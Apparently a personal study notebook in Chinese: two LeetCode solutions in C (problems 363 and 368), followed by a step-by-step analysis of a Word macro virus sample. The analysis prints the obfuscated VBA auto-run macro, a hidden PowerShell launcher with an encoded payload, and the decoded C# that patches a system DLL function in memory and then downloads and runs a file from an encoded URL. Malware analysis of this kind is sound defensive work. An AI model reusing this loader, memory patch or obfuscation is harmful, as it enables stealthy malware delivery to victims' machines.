leetcode 363 矩形区域内不超过K的最大数值和
(直接看的题解)先穷举行,再穷举列,使用库函数可以在O(nlogn)时间复杂度内找到不超过k的数。C直接穷举列了。。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | int maxSumSubmatrix(int** matrix, int matrixSize, int* matrixColSize, int k){int xlen=matrixSize;
 int ans=INT32_MAX;
 if(!xlen)return 0;
 int ylen=matrixColSize[0];
 if(!ylen)return 0;
 int sum[40000];
 int ss=0;
 
 for(int i=0;i<xlen;i++){
 memset(sum,0,ylen*sizeof(int));
 for(int j=i;j<xlen;j++){
 for(int c=0;c<ylen;c++){
 sum[c]+=matrix[j][c];
 
 }
 for(int c=0;c<ylen;c++){
 ss=0;
 for(int cc=c;cc<ylen;cc++){
 ss+=sum[cc];
 
 if(k>=ss&&k-ss<ans){
 ans=k-ss;
 }
 }
 
 }
 }
 }
 return k-ans;
 }
 
 | 
368 最大整除子集
对于有序的输入数组,dp[i]表示第i个数能与前面的数构成的最大整除序列。因为除数有这个性质:如果s|d,d|c则s|c,也就是说,若arr[j]与前面的数构成一个整除序列,且arr[j]|arr[i],则arr[i]可以与arr[j]序列中的所有数构成整除序列。这就是动态规划问题。
dp[i]初始化为1
dp[i]=dp[i]%dp[j]==0&&dp[j]>=dp[i]?dp[j]+1:dp[i];
为了记录构成最大数组的序列,还要使用last数组记录i的上一个
为了得到有序的输入,还要复习一下快排算法= =
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | int qSort(int *arr,int start,int end){int j=end,i=start+1;
 int t;
 while(i<j+1&&arr[i]<=arr[start])i++;
 for(;j>i;j--){
 if(arr[j]<=arr[start]){
 t=arr[i];
 arr[i]=arr[j];
 arr[j]=t;
 while(i<j&&arr[i]<=arr[start])i++;
 }
 }
 t=arr[i-1];
 arr[i-1]=arr[start];
 arr[start]=t;
 return i-1;
 }
 void quickSort(int *arr,int start,int end){
 if(start>=end)return;
 int mid=qSort(arr,start,end);
 
 quickSort(arr,start,mid);
 quickSort(arr,mid+1,end);
 }
 int* largestDivisibleSubset(int* nums, int numsSize, int* returnSize){
 int dp[40000];
 int last[40000];
 int maxind=0;
 dp[0]=1;
 quickSort(nums,0,numsSize-1);
 for(int i=1;i<numsSize;i++){
 int maxi=i;
 dp[i]=1;
 last[i]=i;
 for(int j=0;j<i;j++){
 if(nums[i]%nums[j]==0&&dp[j]>=dp[maxi]){
 maxi=j;
 dp[i]=dp[j]+1;
 last[i]=j;
 if(dp[maxind]<dp[i]){
 maxind=i;
 }
 }
 }
 }
 *returnSize=dp[maxind];
 int *res=(int*)malloc(sizeof(int)*dp[maxind]);
 for(int i=dp[maxind]-1;i>=0;i--){
 res[i]=nums[maxind];
 maxind=last[maxind];
 }
 return res;
 }
 
 | 
最后时间比别人快,击败96%;内存消耗比较大,应该是两个40000的数组hhhh。换了malloc果然内存降下来了,剩下的内存消耗应该是快排递归和last数组了。
Word宏病毒样本分析
https://www.52pojie.cn/thread-1287476-1-1.html
第一次分析,详细看看步骤(虚拟机已断网)
调试宏病毒
- 按住shift键
- 点击开启宏
- 释放shift
- 按下alt+11打开宏调试器
- 调试宏
下面 Sub Document_Open()是入口程序
被混淆了,复制代码之后使用automateexcel.com/vba-code-indenter 格式化一下,得到如下程序
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | Option Explicit
 Private Sub SnottineSS(ByVal a1 As Variant, ByVal a2 As Variant, ByVal a3 As Variant, ByVal a4 As Long)
 
 a1.Create Lethbridge(ActiveDocument.Variables("l26cd3c2c2f351").Value), a2, a3, a4
 
 End Sub
 Sub Document_Open()
 
 Dim Garniture   As Object: Set Garniture = GetObject(Lethbridge(ActiveDocument.Variables("de9a2c49a42b6").Value))
 SnottineSS Garniture, Null, Null, 0
 
 End Sub
 Private Function Lethbridge(ByVal Garniture As String) As String
 
 Dim Hulkier     As Long: Dim Humoursome() As Byte
 
 GoTo NoNapparitioNal
 
 Dickinson:
 
 For Hulkier = 0 To UBound(Humoursome)
 
 Humoursome(Hulkier) = Abs(Humoursome(Hulkier) - 14)
 Next
 
 GoTo SnottineSS
 Exit Function
 
 Slinky:
 
 MsgBox " Above steps are still valid."
 
 Exit Function
 NoNapparitioNal:
 
 Humoursome = StrConv(Garniture, 256 / 2, 1000 + 55)
 GoTo Dickinson
 
 Exit Function
 SnottineSS:
 
 Lethbridge = StrConv(Humoursome, 32 * 2, 1000 + 55)
 
 Exit Function
 
 GoTo Crossville
 
 Crossville:
 
 MsgBox " this solution will provide modules"
 Exit Function
 End Function
 
 | 
在 Sub Ducument_Open()下断点,点击运行后进入debug状态
F8单步步入,到Lethbridge中
然后视图->本地窗口,监视变量,之后一直单步步入,碰到循环就执行到光标处,直到ExitFunction前,观察到解密字符串 “winmgmts:\.\root\cimv2:Win32_Process”
搜索这个Win32_Process对象,https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes,得到这个对象主要用来创建进程、获取进程信息
后面这个字符串传入了GetObject,然后传入了SnottineSS函数
然后又解密了一个字符串,运行后得到
| 12
 
 | "powershell -WindowStyle Hidden function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "
 
 | 
格式化一下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | function y171e {
 param($z4627)$k58be9 = 'a57157c';
 $yce74a = '';
 for ($i = 0; $i -lt $z4627.length; $i += 2) {
 $vc2775 = [convert]::ToByte($z4627.Substring($i, 2), 16);
 $yce74a += [char]($vc2775 -bxor $k58be9[($i / 2) % $k58be9.length]);
 }
 return
 }
 
 | 
第一条命令运行一个ps1脚本
TODO 此处没调试到powershell的真实脚本?
直接使用文章里的
| 12
 3
 4
 5
 6
 
 | powershell  Hidden function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}
 $z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
 $z24c5732 = y171e($z24c573);
 Add-Type -TypeDefinition $z24c5732;
 [yba2983]::c193b();
 
 | 
到了$z24c5732赋直接echo $z24c5732,就得到了下面的cs代码
| 12
 
 | using System;using System.Runtime.InteropServices;using System.Diagnostics;using System.IO;using System.Net;public class yba2983{[DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr v779b(IntPtr x8d356,string v7be73);[DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr e6656d9(string zc6ea);[DllImport("kernel32",EntryPoint="VirtualProtect")]public static extern bool h7c586(IntPtr mda7864,UIntPtr k27bc1b,uint xcdaf29,out uint r84b39);[DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void ef5ae(IntPtr a948e8,IntPtr l8b12e,int g4c6e);public static int c193b(){IntPtr c2ae2d6=e6656d9(y171e("005844581b530f0d"));if(c2ae2d6!=IntPtr.Zero){IntPtr r963493=v779b(c2ae2d6,y171e("205844586654020f774257535211"));if(r963493!=IntPtr.Zero){UIntPtr hbaa2d=(UIntPtr)5;uint k9c379=0;if(h7c586(r963493,hbaa2d,0x40,out k9c379)){Byte[] je1ed={0x31,0xff,0x90};IntPtr nb327a=Marshal.AllocHGlobal(3);Marshal.Copy(je1ed,0,nb327a,3);ef5ae(new IntPtr(r963493.ToInt64()+0x001b),nb327a,3);}}}string s183fa=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\c9255" + y171e("4f504f54");new WebClient().DownloadFile(y171e("09414341460d4c4e56565f5b5601084647435a470613414e534758080447441f56580e4e4558411a0f2c16627c437366530664587a410e4d044d52"),s183fa);ProcessStartInfo y6cb2=new ProcessStartInfo(s183fa);Process.Start(y6cb2);return 0;}public static string y171e(string me8994){string x8d356="a57157c";string e6656d9="";for(int i=0; i<me8994.Length;i+=2){byte v779b=Convert.ToByte(me8994.Substring(i,2),16);e6656d9+=(char)(v779b^x8d356[(i/2)%x8d356.Length]);}return e6656d9;}}
 
 | 
格式化之后
using System;| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 
 | using System.Runtime.InteropServices;using System.Diagnostics;
 using System.IO;
 using System.Net;
 public class yba2983
 {
 [DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr v779b(IntPtr x8d356,string v7be73);
 [DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr e6656d9(string zc6ea);
 [DllImport("kernel32",EntryPoint="VirtualProtect")]public static extern bool h7c586(IntPtr mda7864,UIntPtr k27bc1b,uint xcdaf29,out uint r84b39);
 [DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void ef5ae(IntPtr a948e8,IntPtr l8b12e,int g4c6e);
 public static int c193b()
 {
 IntPtr c2ae2d6=e6656d9(y171e("005844581b530f0d"));
 if(c2ae2d6!=IntPtr.Zero)
 {
 IntPtr r963493=v779b(c2ae2d6,y171e("205844586654020f774257535211"));
 if(r963493!=IntPtr.Zero)
 {
 UIntPtr hbaa2d=(UIntPtr)5;
 uint k9c379=0;
 if(h7c586(r963493,hbaa2d,0x40,out k9c379))
 {
 byte[] je1ed={0x31,0xff,0x90};
 IntPtr nb327a=Marshal.AllocHGlobal(3);
 Marshal.Copy(je1ed,0,nb327a,3);
 ef5ae(new IntPtr(r963493.ToInt64()+0x001b),nb327a,3);
 }
 }
 }
 string s183fa=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\c9255" + y171e("4f504f54");
 new WebClient().DownloadFile(y171e("09414341460d4c4e56565f5b5601084647435a470613414e534758080447441f56580e4e4558411a0f2c16627c437366530664587a410e4d044d52"),s183fa);
 ProcessStartInfo y6cb2=new ProcessStartInfo(s183fa);
 Process.Start(y6cb2);
 return 0;
 }
 public static string y171e(string me8994)
 {
 string x8d356="a57157c";
 string e6656d9="";
 for (int i=0; i<me8994.Length;i+=2)
 {
 byte v779b=Convert.Tobyte(me8994.Substring(i,2),16);
 e6656d9+=(char)(v779b^x8d356[(i/2)%x8d356.Length]);
 }
 return e6656d9;
 }}
 
 
 | 
 
可以使用VS的重命名把对应的系统函数重命名掉。y171e就是解密函数了。
实现的功能就是从对应的URL下载文件并执行。